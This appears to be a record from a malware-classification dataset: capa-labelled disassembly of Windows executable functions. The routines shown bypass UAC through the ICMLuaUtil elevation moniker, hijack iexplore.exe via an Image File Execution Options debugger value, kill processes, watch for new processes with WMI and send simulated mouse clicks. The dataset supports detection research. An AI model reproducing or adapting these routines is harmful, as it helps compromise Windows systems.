joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403720
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.00403760
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0
push 0x4038e0
push 0
push 0
call edi
mov esi, eax
push 0xffffffffffffffff
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403734

Function at 0x403e90
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x234], ecx
call sub.KERNEL32.dll_GetCurrentProcessId
push 0
push 2
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x403f7b
push 0x228
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x230], 0x22c
push 0
push eax
call fcn.00423d50
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x403f74
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
mov eax, dword [ebp - 0x234]
lea ecx, [ebp - 0x20c]
lea esp, [esp]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x403f36
test dx, dx
je 0x403f32
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x403f36
add ecx, 4
add eax, 4
test dx, dx
jne 0x403f10
xor eax, eax
jmp 0x403f3b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x403f65
mov eax, dword [ebp - 0x228]
cmp eax, esi
je 0x403f65
cmp dword [ebp - 0x218], esi
jne 0x403f65
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x230]
push eax
push edi
call ebx
test eax, eax
jne 0x403f00
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00418e51
mov esp, ebp
pop ebp
ret
Function at 0x404420
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, 0x459ac8
mov dword [esi + 0x24], 0xffffffff
cmp dword [edi], 0
je 0x404443
inc ebx
add edi, 0x10
cmp ebx, 0x14
jl 0x404433
jmp 0x404468
mov eax, dword [esi + 0xc]
push 0
mov dword [edi], eax
mov dword [edi + 4], 1
call fcn.0041a4d7
mov dword [edi + 8], eax
add esp, 4
mov dword [edi + 0xc], edx
inc dword [0x459ac0]
mov dword [esi + 0x24], ebx
cmp dword [esi + 0x24], 0xffffffff
je case.0x404481.10
mov eax, dword [esi + 4]
add eax, 0xfffffffd
cmp eax, 9
ja case.0x404481.10
jmp dword [eax*4 + 0x404548]
push 0
push 0
push esi
push 0x401650
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret
push 0
push 0
push esi
push 0x4018c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret
push 0
push 0
push esi
push 0x401aa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret
push 0
push 0
push esi
push 0x4021c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret
push 0
push 0
push esi
push 0x4028e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret
push 0
push 0
push esi
push 0x4025c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret
push 0
push 0
push esi
push 0x401e70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret
push 0
push 0
push esi
push 0x4023c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
ret

Function at 0x404a50
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, ecx
push edi
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0x2710
ja 0x404aa3
lea ebx, [ebx]
mov eax, dword [ebx]
test eax, eax
je 0x404a8d
push 0
push 0xf5
push 0x111
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x404aa9
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, 0x2710
jbe 0x404a70
pop edi
pop esi
xor al, al
pop ebx
ret
pop edi
pop esi
mov al, 1
pop ebx
ret
Function at 0x404ab0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44174b
mov eax, dword fs:[0]
push eax
mov eax, 0x13b4
call fcn.0042fee0
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
imul edx, dword [ebp + 0xc], 0x7d0
mov eax, 0x2710
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
sub eax, edx
push eax
call ebx
lea eax, [ebp + 8]
push eax
push 0x404d30
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x404b15
mov esi, dword [ebp + 8]
test esi, esi
jne 0x404b1c
push 0xbb8
jmp 0x404af9
mov ecx, edi
call fcn.00404a50
push 0
push 0x44b17c
lea ecx, [ebp - 0x13bc]
mov dword [edi], esi
mov dword [ebp - 0x13a8], 0xf
mov dword [ebp - 0x13ac], 0
mov byte [ebp - 0x13bc], 0
call fcn.00402db0
mov dword [ebp - 4], 0
call fcn.00418382
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x13a8], 0x10
jb 0x404b7c
push dword [ebp - 0x13bc]
call fcn.00419d5c
add esp, 4
sub esp, 8
call fcn.00418382
push eax
lea ecx, [ebp - 0x1398]
call fcn.0040bd10
lea eax, [ebp - 0x1398]
mov dword [ebp - 0x13ac], 0x20
mov dword [ebp - 0x13b0], eax
mov dword [ebp - 0x13a8], 0xffffffff
mov dword [ebp - 0x139c], 3
lea ebx, [ebx]
push 6
lea ecx, [ebp - 0x13b0]
call fcn.0040dd00
mov ecx, dword [edi]
add eax, 0x80000005
mov dword [ebp - 0x13a4], eax
lea edx, [eax - 0x7fffffce]
mov dword [ebp - 0x13a0], edx
lea esi, [eax - 0x7ffffe68]
test ecx, ecx
je 0x404c41
movzx esi, si
movzx eax, dx
shl esi, 0x10
or esi, eax
push esi
push 1
push 0x200
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
push esi
push 1
push 0x201
push dword [edi]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x14
call ebx
push esi
push 1
push 0x202
push dword [edi]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x3e8
call ebx
mov eax, dword [ebp - 0x13a4]
mov edx, dword [ebp - 0x13a0]
mov ecx, dword [edi]
lea esi, [eax - 0x7ffffe98]
test ecx, ecx
je 0x404c98
movzx esi, si
movzx eax, dx
shl esi, 0x10
or esi, eax
push esi
push 1
push 0x200
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
push esi
push 1
push 0x201
push dword [edi]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x14
call ebx
push esi
push 1
push 0x202
push dword [edi]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x3e8
call ebx
mov eax, dword [ebp - 0x13a4]
mov ecx, dword [edi]
add eax, 0x80000172
test ecx, ecx
je 0x404cee
movzx esi, ax
mov eax, dword [ebp - 0x13a0]
movzx eax, ax
shl esi, 0x10
or esi, eax
push esi
push 1
push 0x200
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
push esi
push 1
push 0x201
push dword [edi]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x14
call ebx
push esi
push 1
push 0x202
push dword [edi]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x3e8
call ebx
push 0x7d0
call ebx
dec dword [ebp - 0x139c]
jne 0x404bc0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418e51
mov esp, ebp
pop ebp
ret 8
Function at 0x408c00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [0x459ccc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor edi, edi
push 8
call fcn.0041a528
test edi, edi
sete cl
mov byte [eax + 4], cl
lea ecx, [ebp - 8]
push ecx
push 0
push eax
push 0x409030
push 0
mov dword [eax], 0x459c20
push 0
mov dword [ebp - 8], 0
call fcn.0041af06
mov esi, eax
add esp, 0x1c
mov dword [ebp - 0xc], esi
test esi, esi
je 0x408cd8
cmp esi, 0xffffffff
je 0x408cd8
mov ecx, dword [0x459cf0]
lea eax, [ebp - 0xc]
cmp eax, ecx
jae 0x408caa
mov edx, eax
mov eax, dword [0x459cec]
cmp eax, edx
ja 0x408caa
mov esi, edx
sub esi, eax
sar esi, 2
cmp ecx, dword [0x459cf4]
jne 0x408c9f
push ecx
mov ecx, 0x459cec
call fcn.0040b890
mov ecx, dword [0x459cf0]
mov eax, dword [0x459cec]
test ecx, ecx
je 0x408ccf
mov eax, dword [eax + esi*4]
mov dword [ecx], eax
jmp 0x408cc9
cmp ecx, dword [0x459cf4]
jne 0x408cc3
push ecx
mov ecx, 0x459cec
call fcn.0040b890
mov ecx, dword [0x459cf0]
test ecx, ecx
je 0x408ccf
mov dword [ecx], esi
mov ecx, dword [0x459cf0]
add ecx, 4
mov dword [0x459cf0], ecx
inc edi
cmp edi, 2
jl 0x408c20
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00418e51
mov esp, ebp
pop ebp
ret
Function at 0x408e60
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442018
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x24], edi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x20]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsiexplore.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408ee6
push eax
push eax
push eax
push eax
push str.debugger
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x408edd
push str.debugger
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [ebp + 0xc]
test ebx, ebx
jle 0x409005
push esi
lea eax, [ebp - 0x50]
mov ecx, edi
push eax
call fcn.00407490
push 0x3a98
mov ecx, edi
movdqu xmm1, xmmword [eax]
movdqa xmm0, xmm1
movd esi, xmm1
psrldq xmm0, 4
movd eax, xmm0
movdqu xmmword [ebp - 0x40], xmm1
push eax
push esi
mov dword [ebp - 0x20], eax
call fcn.004085c0
test al, al
je 0x408fe3
mov edi, dword [ebp - 0x38]
push edi
call fcn.00411480
push ecx
mov ecx, dword [ebp - 0x24]
push esi
call fcn.00408230
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
call fcn.004186a0
push 0
push 0x989680
push edx
push eax
call fcn.00441160
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x18], edx
add esi, 3
mov dword [ebp - 0x18], edi
add esi, eax
mov edi, dword [ebp - 0x24]
add edi, 0xb4
mov dword [ebp - 0x30], vtable.CAutoLock.0
push edi
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 4], 0
lea ecx, [ecx + 0xf4]
call fcn.0040b230
mov dword [ebp - 4], 0xffffffff
push edi
mov dword [ebp - 0x30], vtable.CAutoLock.0
mov dword [eax], esi
mov dword [eax + 4], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp - 0x24]
jmp 0x408ff3
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x28]
dec ebx
jne 0x408ef1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00418e51
mov esp, ebp
pop ebp
ret 0xc
Function at 0x409ab0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
cmp dword [edi + 0x10], 0
je 0x409b1e
mov esi, 3
lea esp, [esp]
push edi
mov ecx, ebx
call fcn.00408130
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
dec esi
jne 0x409ad0
push edi
mov ecx, ebx
call fcn.00407ee0
test al, al
je 0x409b1e
call fcn.004186a0
push esi
push 0x989680
push edx
push eax
call fcn.00441160
push edi
lea ecx, [ebx + 0xec]
mov dword [ebp - 4], edx
mov esi, eax
call fcn.0040aeb0
mov dword [eax], esi
mov dword [eax + 4], 0
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x409b6b
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, eax
test edi, edi
je 0x409b4c
push 0
push edi
call ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x409b52
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x409b6b
push 0
push esi
call ebx
push esi
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40a890
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44230b
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x10]
xorps xmm0, xmm0
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push 0x44
mov dword [ebp - 0x78], eax
movdqu xmmword [eax], xmm0
lea eax, [ebp - 0x70]
push 0
push eax
call fcn.00423d50
push 0x44b188
mov edx, esi
mov dword [ebp - 0x70], 0x44
lea ecx, [ebp - 0x90]
call fcn.0040ca80
push edi
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.0040cb70
add esp, 0x14
cmp dword [ebp - 0x7c], 0x10
jb 0x40a91f
push dword [ebp - 0x90]
call fcn.00419d5c
add esp, 4
push dword [ebp - 0x78]
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x70]
push ecx
push 0
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
cmp dword [ebp - 0x14], 0x10
mov byte [ebp - 0x71], al
jb 0x40a963
push dword [ebp - 0x28]
call fcn.00419d5c
mov al, byte [ebp - 0x71]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418e51
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40a980
Capabilities:
Persist via image file execution options registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0
push 2
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsiexplore.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40a9dc
push 0x10
push str.ntsd__d
push 1
push eax
push str.debugger
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418e51
mov esp, ebp
pop ebp
ret

Function at 0x40bd10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
push edi
mov dword [ecx + 0x1384], 0xffffffff
lea edi, [ecx + 8]
mov dword [ecx + 4], edx
mov esi, 1
lea ecx, [ecx]
mov eax, edx
lea edi, [edi + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi - 4], edx
cmp esi, 0x270
jl 0x40bd30
pop edi
mov dword [ecx], 0x270
mov eax, ecx
pop esi
pop ebp
ret 0xc
Function at 0x40dd00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
push esi
push edi
dec ecx
nop
xor eax, eax
xor esi, esi
mov dword [ebp - 4], eax
test ecx, ecx
je 0x40ddec
nop
mov ecx, dword [ebx + 4]
dec ecx
shl esi, cl
add esi, esi
mov dword [ebp - 8], esi
jmp 0x40dd30
mov edi, dword [ebx]
mov eax, dword [edi]
cmp eax, 0x270
jne 0x40dd7c
lea eax, [edi + 8]
mov esi, 0x270
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
dec esi
jne 0x40dd43
jmp 0x40dd8a
cmp eax, 0x4e0
jb 0x40dd8a
mov ecx, edi
call fcn.0040e000
mov eax, dword [edi]
mov edx, dword [edi + eax*4 + 4]
inc eax
mov dword [edi], eax
mov ecx, edx
mov eax, dword [edi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
cmp eax, dword [ebx + 8]
ja 0x40dd30
mov esi, dword [ebp - 8]
mov ecx, dword [ebx + 4]
or esi, eax
mov eax, dword [ebp - 4]
dec ecx
shl eax, cl
mov ecx, dword [ebp + 8]
add eax, eax
or eax, dword [ebx + 8]
dec ecx
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x40dd20
xor edx, edx
div dword [ebp + 8]
mov ecx, eax
mov edi, edx
xor edx, edx
mov eax, esi
div dword [ebp + 8]
cmp eax, ecx
jb 0x40de0c
mov ecx, dword [ebp + 8]
dec ecx
cmp edi, ecx
jne 0x40dd10
mov eax, esi
xor edx, edx
div dword [ebp + 8]
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40e000
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
dec ecx
jne 0x40e010
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi]
lea esi, [esi + 4]
xor ecx, dword [esi]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
dec edi
jne 0x40e050
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret
Function at 0x410d00
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x230]
mov dword [ebp - 0x234], 0
mov ecx, 0x24
lea esp, [esp]
mov byte [eax], 0
lea eax, [eax + 1]
dec ecx
jne 0x410d30
xor eax, eax
mov dword [ebp - 0x230], 0x24
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov dword [ebp - 0x21c], 4
call fcn.00423d50
push str.Elevation:Administrator_new:
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0041b3dc
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0041a287
add esp, 0x24
lea eax, [ebp - 0x234]
push eax
push 0x44c358
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov ecx, dword [ebp - 0x234]
mov dword [esi], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00418e51
mov esp, ebp
pop ebp
ret

Function at 0x411230
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x459c14]
cmp dword [esi + 0x50], 0
je 0x41125e
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418e51
mov esp, ebp
pop ebp
ret
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x2c]
push eax
movdqu xmmword [ebp - 0x2c], xmm0
movdqu xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x18]
lea edi, [eax*2 + 2]
mov eax, 4
test edi, edi
cmovle edi, eax
test edi, edi
jle 0x4112da
lea ecx, [ecx]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0
push esi
push 0x411580
push 0
push 0
call fcn.0041af06
add esp, 0x18
mov dword [ebp - 0x30], eax
test eax, eax
je 0x4112d7
cmp eax, 0xffffffff
je 0x4112d7
lea eax, [ebp - 0x30]
push eax
lea ecx, [esi + 0x20]
call fcn.0040ab50
dec edi
jne 0x4112a0
push 0
push 0
push esi
push 0x411de0
push 0
push 0
call fcn.0041af06
mov ecx, dword [ebp - 4]
add esp, 0x18
test eax, eax
mov dword [esi + 0x58], eax
setne al
movzx eax, al
test eax, eax
mov dword [esi + 0x50], eax
pop edi
setne al
xor ecx, ebp
pop esi
call fcn.00418e51
mov esp, ebp
pop ebp
ret
Function at 0x411b80
Capabilities:
Connect to wmi namespace via wbemlocator
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442978
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x454314]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ebx, [ecx + 0x5c]
mov dword [ecx + 0x60], 0
lea eax, [ecx + 0x64]
mov dword [ebx], 0
push ebx
push 0x44ab5c
push 1
push 0
lea edi, [ecx + 0x60]
mov dword [ebp - 0x20], eax
push 0x44ac2c
mov dword [eax], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x411bee
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x411ce9
push str.ROOTCIMV2
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0
call fcn.00410f40
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x411c14
mov edx, dword [eax]
jmp 0x411c16
xor edx, edx
mov eax, dword [ebx]
push edi
push 0
push 0
mov ecx, dword [eax]
push 0
push 0
push 0
push 0
push edx
push eax
call dword [ecx + 0xc]
mov ecx, dword [ebx]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x411c5c
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [edi]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
jns 0x411c64
mov eax, dword [edi]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x411ce1
push 0x44c504
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0
call fcn.00410f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1c]
push str.SELECT__FROM___InstanceCreationEvent_WITHIN_1_WHERE_TargetInstance_ISA_Win32_Process
mov dword [ebp - 0x1c], 0
call fcn.00410f40
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x411c9f
mov edx, dword [eax]
jmp 0x411ca1
xor edx, edx
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x411cac
mov esi, dword [eax]
jmp 0x411cae
xor esi, esi
push dword [ebp - 0x20]
mov eax, dword [edi]
push 0
push 0x30
push edx
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x58]
test eax, eax
jns 0x411cd1
mov eax, dword [edi]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x1c]
call fcn.00410fe0
lea ecx, [ebp - 0x14]
call fcn.00410fe0
lea ecx, [ebp - 0x18]
call fcn.00410fe0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418e51
mov esp, ebp
pop ebp
ret